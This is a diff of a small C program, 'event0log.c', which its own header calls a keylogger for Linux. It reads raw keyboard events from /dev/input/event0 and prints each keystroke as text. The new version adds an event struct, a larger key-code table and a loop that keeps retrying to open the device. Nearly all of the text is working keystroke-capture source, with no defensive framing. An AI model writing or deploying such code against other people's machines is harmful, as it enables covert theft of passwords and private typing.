-/* event0log.c v0.6
- * <~~Harvie 2oo8
+/* event0log.c v0.9
+ * <~~Harvie 2oo8-2o21
* THX2: Dayvee (Idea), joe@aol.com (Reversing),
* -=Punka][Tux=- (BugReport),
- * Warriant's code (Inspiration), Linus (God Blessed Linux)
+ * Warriant's code (Inspiration), Linus (Linux)
*
* Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
* In other words: this is keylogger for Linux.
#include <stdio.h>
#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
#include <signal.h>
+#include <time.h>
#define DEFAULTINPUT "/dev/input/event0"
-#define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted)
+typedef struct __attribute__((__packed__)) input_event_s {
+ struct timeval time;
+ unsigned short type;
+ unsigned short code;
+ unsigned int value;
+} input_event_t;
+
+time_t timestamp = 0;
+
+#define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted)
char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
- "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]",
- "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n",
- "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\",
- "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ",
- "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]",
- "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0",
- "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]",
- "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n",
- "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<101>",
+ "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14
+ "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", //28
+ "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", //44
+ "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", //57
+ "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", //69
+ "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", //83
+ "[./DEL-NUM]", "<85>", "<86>", "[MACRO-\\|]", "[F11]", "[F12]",
+ "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "<96>", "[ENTER-NUM]\n",
+ "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<102>",
"[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
- "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
- "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]"
+ "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
+ "<120>", "<121>", "<122>", "<123>", "<124>", "<125>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]", "<128>", "<129>",
+ "<130>", "<131>", "<132>", "<133>", "<134>", "<135>", "<136>", "<137>", "<138>", "<139>",
+ "<140>", "<141>", "<142>", "[Fn]", "<144>", "<145>", "<146>", "<147>", "<148>", "<149>",
+ "<150>", "<151>", "<152>", "<153>", "<154>", "<155>", "<156>", "<157>", "[BACK]", "[FORW]",
+ "<160>", "<161>", "<162>", "[NEXTSONG]", "[PLAYPAUSE]", "[PREVSONG]", "[STOPCD]", "<167>", "<168>", "<169>"
/* Hint:
[CAPSL][ESC] = CapsLock On
[CAPSL] = CapsLock Off
signal(SIGSEGV, &sigint_handler);
- FILE *ftest;
- printf("Reading data from: ");
+ printf("Scancode DB size: %d B (0-%d)", sizeof(strokes), MAXSTROKE);
+
+ char * filepath = NULL;
if(argc > 1 && argv[1][0] != '-') {
- ftest = freopen(argv[1], "rb", stdin);
- printf("%s\n", argv[1]);
+ filepath = &argv[1][0];
}
if(argc > 1 && argv[1][0] == '-') {
- ftest = freopen(DEFAULTINPUT, "rb", stdin);
- printf("%s\n", DEFAULTINPUT);
- }
- if(argc == 1) {
- printf("STDIN\n", argv[1]);
+ filepath = DEFAULTINPUT;
}
- if(ftest == NULL) {
- printf("Failed to open file!\n\n");
- return(1);
- }
-
- printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE);
- unsigned char keystroke[17];
while(1) {
- read(0, keystroke, 16);
- if((int)keystroke[12] > 0 && (int)keystroke[12] < 6) {
- if(keystroke[10] <= MAXSTROKE) {
- printf("%s", strokes[keystroke[10]]);
- } else {
- printf("<%d>", keystroke[10]);
- }
+
+ while(1) {
+ if(filepath != NULL && freopen(filepath, "rb", stdin) == NULL) {
+ printf("\n%lu\tFailed to open file %s", time(NULL), filepath);
+ sleep(1);
+ continue;
+ //return(1);
+ } else {
+ if(filepath != NULL) printf("\n%lu\tOpened file %s\n", time(NULL), filepath);
+ break;
}
}
+ setbuf(stdout, NULL);
+
+
+ input_event_t input_event;
+ while(read(0, &input_event, sizeof(input_event_t)) != -1) {
+ if(input_event.type != 1 || input_event.value != 1) continue;
+ //printf("\n%lu\tTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.time.tv_sec, input_event.type, input_event.code, input_event.value);
+ if(input_event.code <= MAXSTROKE) {
+ printf("%s", strokes[input_event.code]);
+ } else {
+ printf("<%d>", input_event.code);
+ }
+ }
+
+ }
}
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